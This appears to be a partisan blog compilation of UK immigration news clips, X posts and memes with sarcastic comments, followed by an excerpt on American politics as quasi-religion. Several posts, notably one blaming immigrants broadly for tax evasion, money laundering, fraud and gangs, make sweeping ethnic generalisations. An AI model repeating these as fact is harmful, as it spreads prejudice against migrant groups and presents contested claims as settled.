Leak shows Greens' secret plans to make UK kids 'accept migrants' - "Children would be taught they have a moral obligation to accept immigrants, under radical plans drawn up by the Green Party. The radical Left-wing movement - branded "eco-populist" by their own leader, Zack Polanski - wants to force a new Government department to teach kids about asylum seekers, a leaked dossier reveals. The explosive document, seen by the Daily Express, lays bare plans to slap a legal duty on a new Whitehall department to dish out free legal advice to illegal immigrants. Even those who have lived in Britain illegally for five years would be handed free housing, voting rights and citizenship under the proposals. Shadow Home Secretary Chris Philp blasted the proposal, saying: "The Green Party want open-border radicalisation in every classroom across the country, while making it easier for illegal immigrants to stay - guaranteeing more crossings and more illegal entries. This mad agenda is completely detached from the views of the British public, who want stronger borders. Only the Conservatives have the team and the plan to deliver this." The plans would see a Department of Migration working hand in glove with education chiefs to "disseminate knowledge" about immigrants to schoolchildren. It would even throw open Britain's borders to anyone from countries with "seriously disturbing public order" and those claiming "persecution" under equality laws... Critics have slammed the proposals as open-border propaganda, with children being taught they have a moral duty to accept unlimited numbers of immigrants."

Lin Mei on X - "I completely understand the frustration of British cities no longer looking “English” but can I ask why English businesses have stopped trading in these same places they complain about. I hardly see independent English/white  owned fruit and vege, corner shops, butchers, restaurants etc WHY??   There are plenty of empty buildings up and down the high street- so why can’t you English pull your finger out? Can’t be bothered? Poor work ethic?   If there is an empty building and no one is taking out a lease or buying it who’s English, what’s wrong with Asian, Middle Eastern businesses setting up shop  It just sounds like jealousy at times.   Nothing is stopping you from opening a business on a high street of your choice."
West Ward 🇬🇧 on X - "God, I hate it when foreigners talk down my countrymen under the assumption that we are just 'lazy'.  Many immigrants groups have notoriously high rates of avoiding tax or money laundering drug money. The explanation for why so many of these 'businesses' improbably occupy our streets is because they aren't playing by the rules. Benefits fraud is also through the roof.  I live in a relatively poor area. It is stacked with immigrants driving fancy BMWs. Drug gangs and car thievery gangs (one stole my car...) are rampant, and so many live in social housing.  The landscape is stacked against Brits and our sense of fair play. Unscrupulous people with tight-knit social networks and a lack of social integration can easily breed exploitation of rules and, if the local authorities are captured, which they largely are, rampant abuse of the law and selective enforcement against the natives.  THAT is why Brits are being pushed out, Lin."

State pension age could be raised to 75 due to UK's birth rate decline
Vladimir Poutine™ on X - "Then: immigrants will pay for your pensions.
Now: your pensions will pay for immigrants."

Zoe Gardner on X - "You’re not building the homes. Disproportionately the foreigners are."
The Composite Guy on X - "91.6% of construction workers are White British. 6% of construction workers are ethnic minorities. We literally have more disabled people working in construction than non-White people."

Meme - Wilfred Reilly @wil_da_beast630: "Fascinating age and sex distribution for UK "asylum seekers.""
"Age/Sex distribution of Sudanese asylum seekers in the UK, 2019-2023 *massive numbers more men, mostly young and disproportionately below 20*
4.3x as many claim to be 16 as 18"

Collingwood 🇬🇧 on X - "They were so keen to make Britain Little America, and rub social conservatives' noses in diversity, and delight in the excitingly cosmopolitan new nation they were building, that they didn't bother to think through the consequences. Disgraceful malfeasance, but par for the course for Yookay's ruling elite.  They only had to look at their beloved America for answers. US policy toward Cuba and Israel, for example. Well, guess what? The Palestine Question is now going to be a key Yookay foreign policy issue. As is Kashmir. The ongoing Hindu-isation of Indian politics becomes a live issue, as does the geopolitical alignment of Pakistan and Bangladesh. To a lesser extent, the Somalia vs Somaliland issue also comes into play.  None of these issues really touch on British interests—let alone represent core geopolitical concerns—but they matter to a large number of Yookay voters. This will affect our ability to conduct a cool headed foreign policy in our own interests, and will even impinge on our capacity to discharge a grand strategy that matches means to ends. Persuading the Pakistan government to build a new airport in Mirpur means concessions/aid elsewhere that we wouldn't have otherwise had to give.  There are other issues that do affect British interests, but where we have to consider the views of a large migrant population whose interests might be different from those of native Britons. EU relations springs to mind.  This is now reality. It is baked in."

Will Solfiac on X - "Absolutely insane article being quoted here in an attempt to deny the obvious. "Only" 380 out of 1,480 students claimed asylum. That's over a quarter! And nearly half last year. Followed up by "actually the asylum system was designed for international students"."

Katie Lam on X - "The Government is desperate for us to think they're closing asylum hotels. In fact, they’re pushing illegal migrants into homes on our streets, where they can live off the taxpayer for years. This will not solve our problem. If people come here illegally, they must be removed."
Annunziata Rees-Mogg on X - "The Afghan illegal migrant who raped a 12 year old in Nuneaton was living in an house of multiple occupancy (HMO). He was free to come and go as he would have been in a hotel. Moving men who get here illegally from a hotel to an HMO makes no one safer. It is also no deterrent to more arriving.   But Labour thinks it makes the figures look better.   Because Labour thinks we are stupid."

Susan Hall AM on X - "We should be voting for things affecting Britain not anything else!"
Dan on X - "Gaza won't collect your bins or deliver social care anymore than Reform/Reclaim can "stop the boats" with your council tax.  Vote in local govt elections for people who want to make your local area better and have a plan to do so, not on national issues they have no power over"

I left the UK for Vienna - it's safer and cleaner, but I miss the diversity - "When Dominique van Werkhoven moved to Vienna, she was struck by the contrast with the UK... although she learnt German while living there, she remembers the stares she received if she spoke English. “I might be speaking English with my boys on public transport, and someone would tell me I should be speaking German because we were in Austria,” she said."
Disgusting internalised anti-blackness in the form of dog whistling
She praises the healthcare system, but it's funded by social insurance and has copayments, which left wingers consider inferior to single payer
Time to mock white expats in Thailand for not learning Thai

Emily Thornberry said the quiet part out loud on immigration - "There was once a time when we were told that migration would make us rich, ensure our pensions were paid and that diversity made us stronger. Those arguments are dying, with the fiscal case demolished by the likes of the Migration Advisory Committee. Even the government’s latest cohesion strategy, ‘Protecting What Matters’, admits that diversity is ‘a problem to be’ approached. And now the Boriswave, the low-paid millions who arrived earlier this decade, are soon to be granted Indefinite Leave to Remain (ILR), giving them access to benefits and housing at taxpayers’ expense forever. This is why the Home Secretary Shabana Mahmood is urgently reforming ILR, and facing mounting opposition from Labour backbenchers. Under her changes, Boriswave arrivals, and others, would have to wait ten years for ILR, not five as is currently the case, and settlement will have to be earned.  Labour leadership hopeful Angela Rayner has described the reforms as ‘un-British’, and over 100 Labour MPs have signed a letter to the Home Secretary saying the proposals are unacceptable. On Monday, Emily Thornberry joined the fray, posting a video in which she speaks soft-voiced to camera, complaining that ‘we’ didn’t ‘make the positive case for migration’, and that Mahmood’s earned settlement model will be ‘cruel’.   Unfortunately for the Labour left and the open borders movement, Thornberry rather gave the game away, noting that ‘half of all migrant children currently live in poverty’ (relative poverty of course, not the real kind), and arguing that this is a reason we should give their parents ILR (and access to benefits) sooner. To make these claims she seems to be relying on an IPPR report published last March which states that of the ‘4.3 million children’ who ‘live in relative poverty’, ‘children from migrant families’ are ‘disproportionately impacted’ and ‘make up around a third of children in destitution’...  According to the IPPR, one of the major causes of this is migrants’ low wages. They’re not wrong. The average salary of migrants entering the UK collapsed during the Boriswave, with nearly 900,000 recent migrants now earning less than the median wage.  Stripped of the soft, emotive language, what Thornberry and the IPPR are admitting is that the Boriswave is made up primarily of low-earners, who will never be a fiscal benefit to the country. What we have done is import millions of people who, rather than paying our pensions, will always be a cost to the state. Now you, or I, or the Home Secretary might think that this is an unforced error which must be reversed. Indeed the Prime Minister himself has called the Boriswave ‘a one nation experiment in open borders’.   But the conclusion the IPPR and the Labour left draw is that we should give the Boriswave benefits so they aren’t in poverty anymore. It really is that simple, and that stupid. According to the IPPR, migrants with children shouldn’t be subject to the ‘no recourse to public funds’ rules, should be provided with 30 hours a week of free childcare and be given better housing. Meanwhile they also think asylum seekers, housed, clothed and fed at our expense, should be given a larger cash handout every week. Throughout the report are references to ‘hardship’ and ‘significant difficulties’ faced by migrants, but not a single reference to the impact on the British people of such boundless generosity.  These people are, frankly, either mad, wicked, fools or all three. Thornberry has been arguing that ‘nobody’ working in the care system or as a cleaner ‘should be in [relative] poverty’. If she truly wanted pay in these sectors to rise she would oppose mass migration which suppresses wages. But in the end all these people – the politicians, the think tanks and charities and the open borders activists – would rather see Britain impoverished than ever say ‘sorry, no, it’s time to go home’. It’s astonishing that we ever took the likes of Thornberry, Rayner or the IPPR seriously. It’s even more astonishing that they have decided to make their move just a month before local elections in which Labour are already likely to see their council seats devoured from the right, and just as small boat crossings are set to rise again. We should be grateful, I suppose, that their political instincts are as dreadful as their grasp of economics."
Time to import more low wage migrants to pay for the welfare state, at the same time increasing benefits for migrants so they won't be poor, because if you don't give the whole world free money, you are "cruel"

Meme - Chris @ArchRose90: "I still haven't come across an image which captures the problem in Birmingham more perfectly than this one."
"*Dilapidated building* Vote Akhmed Yakoob For West Miclands Mayor 2ND MAY. LEND GAZA YOUR VOTE"

Two small boat migrants wanted for gang rape welcomed to UK and allowed to claim benefits - "Two small-boat migrants were welcomed into Britain and given asylum – despite being wanted for gang rape in Denmark.  Danish police issued an international alert for Awedin Fikak and Henok Tekleab, both Eritreans aged 27, complete with their pictures before they even made their journey across the Channel in October 2024.  But, raising questions about checks done on those coming into the UK, officials handed them taxpayers’ cash and free housing.  Fikak was granted refugee status and benefits within six months, a court was told.  When he was belatedly arrested in Birmingham three weeks ago, he shamelessly claimed his ‘human right to a family life’ should block extradition as he has a brother in London.  Astonishingly, it was not until Thursday, after almost 18 months in Britain supported by the taxpayer, that both men were back in Denmark to face justice. Shadow Home Secretary Chris Philp said: ‘That these men could arrive illegally and get refugee status and benefits while an alert was out for their arrest over vile crimes shows again Labour has lost control of our borders.’... Both Eritreans now finally await trial for gang rape in Denmark"

Migrant crisis: Schoolgirls given rape alarms in Dumfries amid fears of being stalked by hotel asylum seekers - "Schoolgirls in a Scottish town have been handed rape alarms by police over fears they were being stalked by illegal migrants being housed in a nearby hotel.  The intervention from officers came after it was alleged that the men had been taken photos of the girls in between lessons in Dumfries.  One concerned mother has claimed the harassment has left to some girls feeling too frightened to walk the streets of the Scottish town.  The hotel migrants have been spotted hanging around the school and ogling at children during break times... “Some of the girls have stopped going into the town as they feel so unsafe.  "There have been suggestions that the men have made crude comments to some of the kids... The hotel in Dumfries has seen protests erupt outside after a man being housed there was arrested following a "child protection" concern."
Damn racists! Don't they know that white Scottish men are the true danger? They need to be made to spend more time with migrants to erase their xenophobia

Aja ♀️🇬🇧 on X - "If you said you were sending your daughter to, say, Afghanistan or Pakistan on holiday, people would call you insane. But if you express concern that your daughter could be at risk from men coming from those same places, suddenly you’re labelled a bigot. Round and round it goes, until we reach the point where schoolgirls are handed rape alarms just to get through their day.  And what about the boys? Do they get alarms too? Because they need them as well."

Teen, 19, bravely waives her anonymity to reveal horrific sexual assault by Iranian migrant who arrived in Britain on small boat - "Oliwia Zawislak, 19, had left a night out early as she was working the next day when Abdolrahman Banafsha approached her on August 31 last year... 'I don't think I'm the same person that I was, not just mentally but physically I died my hair black and I got a bunch of tattoos. I just didn't want to look like that anymore."

UK Ukrainian Visa Scheme Used by Thousands of Non-Ukrainian Migrants

Is there public support for large-scale removals of migrants? - "almost half of Britons (45%) say they would support “admitting no more new migrants, and requiring large numbers of migrants who came to the UK in recent years to leave”"

Are Americans turning politics into their new religion? (Polarisation)

Are Americans turning politics into their new religion?

"Stories of secular communion have given rise to a theory that has gotten considerable attention of late: that for many Americans, politics has become a quasi-religion – especially as participation in actual, organized religion has plummeted. Indeed, Mandy says she believes in God, and grew up Southern Baptist, but is not currently a churchgoer.  

The United States has long been known for what some sociologists call “civil religion” – a shared, nonsectarian faith centered on the flag, the nation’s founding documents, and God. But the God factor is waning, as so-called nones – atheists, agnostics, and those who self-identify as “nothing in particular” – have risen to one-third of the U.S. population, according to a major 2020 survey out of Harvard University. 

From MAGA devotees on the right to social justice warriors on the “woke left,” political activism that can feel “absolute” in a quasi-religious way is rampant. At the same time, American membership in houses of worship has plummeted to below 50% for the first time in eight decades of Gallup polling – from 70% in 1999 to 47% in 2020.

And as American politics has become polarized, so too has the nation’s religious profile. The mainstream Protestant center has hollowed out, its population shrinking dramatically. Today, religious Americans tend to choose their congregation with an eye toward partisanship – to the point where the choice of presidential candidate can lead a voter to move to a new church...

Atheists, he says, are now the most politically active group in the U.S. They’re far from the largest, at 6% of the population, but statistically they are the most likely to engage in political activity. 

“Our politics has become religion. It has a religious fervor to it now that it didn’t have even 20 or 30 years ago,” says Professor Burge, who is also a Baptist pastor.

Why is this happening? Some point to social media and news consumption habits that have cordoned Americans off into ideological echo chambers that are all-consuming and provoke emotional responses. The sense of connection some find online may be replacing social networks once formed by houses of worship. 

Geographic sorting, in which people tend to live near those with similar political views, is another component. Higher education, dominated by an increasingly secular culture, may help explain why so many college-educated young people now reject religion, with some instead finding a sense of purpose and meaning in political activism. A cultural emphasis on science and “rationalism” is also a factor...

Americans overall are moving away from organized religion, particularly the mainline faiths. And that shift has dovetailed with the rise of an intense form of partisan politics that some see as quasi-religious, providing adherents with a sense of devotion, belonging, and moral certitude. 

Especially among young people, “if your candidate wins, you have that ecstatic feeling,” Professor Burge says. Political conventions can have the feel of old-time denominational meetings. A stump speech is like a tent revival. Donating regularly to candidates is like tithing.

Still, he suggests, some who eschew religion in favor of politics may ultimately find it lacking in certain ways. Politics “doesn’t have the legs that religion does – which carries you through all parts of life.”...

It has become a cliché to suggest that atheism is itself a form of “religion.” Writer Andrew Sullivan, who is gay and Roman Catholic, maintains that “everyone has a religion,” that it’s “in our genes.” Seventeenth-century mathematician and theologian Blaise Pascal conceptualized what in Christian circles became known as “the God-shaped hole” – the idea that all humans contain an “infinite abyss” that can only be filled by “an infinite and immutable object; in other words by God himself.” 

Calling partisan politics a form of “religion” can be offensive to believers and nonbelievers alike, as it seems to equate human activity with the spiritual...

Freedom From Religion Foundation (FFRF)... activity can, in fact, seem quasi-”religious” to some. In Sacramento, during the December holidays, the local chapter puts up a display on the State Capitol grounds that looks like a Nativity scene. It features the Founding Fathers signing the Bill of Rights – which was ratified in December 1791. A Christian Nativity scene sits nearby...

Even if the focus today is more on political tribalism than on religious practice, some observers warn we may be heading down a path toward full-on sectarian conflict – a threat to democracy itself.

“Whether religious or political, sectarianism is about two hostile identity groups who not only clash over policy and ideology, but see the other side as alien and immoral,” writes Nate Cohn, a polling expert at The New York Times. “It’s the antagonistic feelings between the groups, more than differences over ideas, that drive sectarian conflict.”...

“You have people saying, ‘Evangelicals are making politics their religion,’” he adds. “We’re just responding to what the left has been doing – worshipping at the altar of politics.”

In liberal neighborhoods across the country, a rainbow-hued sign can be seen dotting lawns. It proudly lists a set of principles: “In this house we believe: Black lives matter; Women’s rights are human rights; Love is love; Science is real,” and so on.  

Peter Juul of The Liberal Patriot calls it “the Nicene Creed and shahada of the new religion of progressive politics.”

“It’s a faith that’s rapidly won converts at the highest levels of American politics and society,” Mr. Juul writes, “one that uncannily mirrors much of the thinking and many of the practices of its ancient predecessors, complete with its own dogmas, heresies, and rituals as well as apocalypses and forms of mysticism.” 

Dating back to Colonial times, religious “awakenings” in America have come and gone. At times of upheaval, a flocking to religion has often been a central feature. 

The Civil War was in many ways fought and understood in religious terms on both sides,” says Tisa Wenger, associate professor of American religious history at Yale Divinity School.

During the Cold War, too, existential anxiety – driven by fear of nuclear weapons and “Godless communism” – led to another rise in religious affiliation in the U.S. 

Today, amid a once-in-a-century pandemic, major economic disruption, and upheavals around issues of race and sex, the reverse is underway. Instead of another “Great Awakening,” America is experiencing what some have dubbed the “Great Awokening” – centered on calls for social justice...

Even some Democrats express concerns about the larger movement promoting “anti-racism.” John McWhorter, an African American linguist and social critic at Columbia University, describes white people’s expressions of “wokeness” as a form of virtue-signaling that has morphed into a misguided civic religion. 

“White people – educated white people, especially – really enjoy the idea of showing that they’re not racists,” Professor McWhorter said in a recent discussion with Reason magazine. “It has slowly transmogrified into a kind of replacement for Protestantism ... where your grace is that you are not a racist.”

Some observers draw a straight line from the Puritans of Colonial times to the “woke scolds” of today who are quick to “cancel” transgressors and see no room for grace and forgiveness. Indeed, enforcement of progressive standards today can seem even harsher than Christianity’s approach, which allows space for sinners to atone and be given another chance...

Among those who checked off “nothing in particular” on the CCES survey on religion in the Harvard study in 2010, follow-up interviews over four years showed that 1 in 6 migrated toward a Christian tradition."

As Richard Dawkins observed, the retreat of Christianity has opened the way to worse

Politics as the new secular religion is worse than religion, because you can't even disagree based on religious reasons, which is more subjective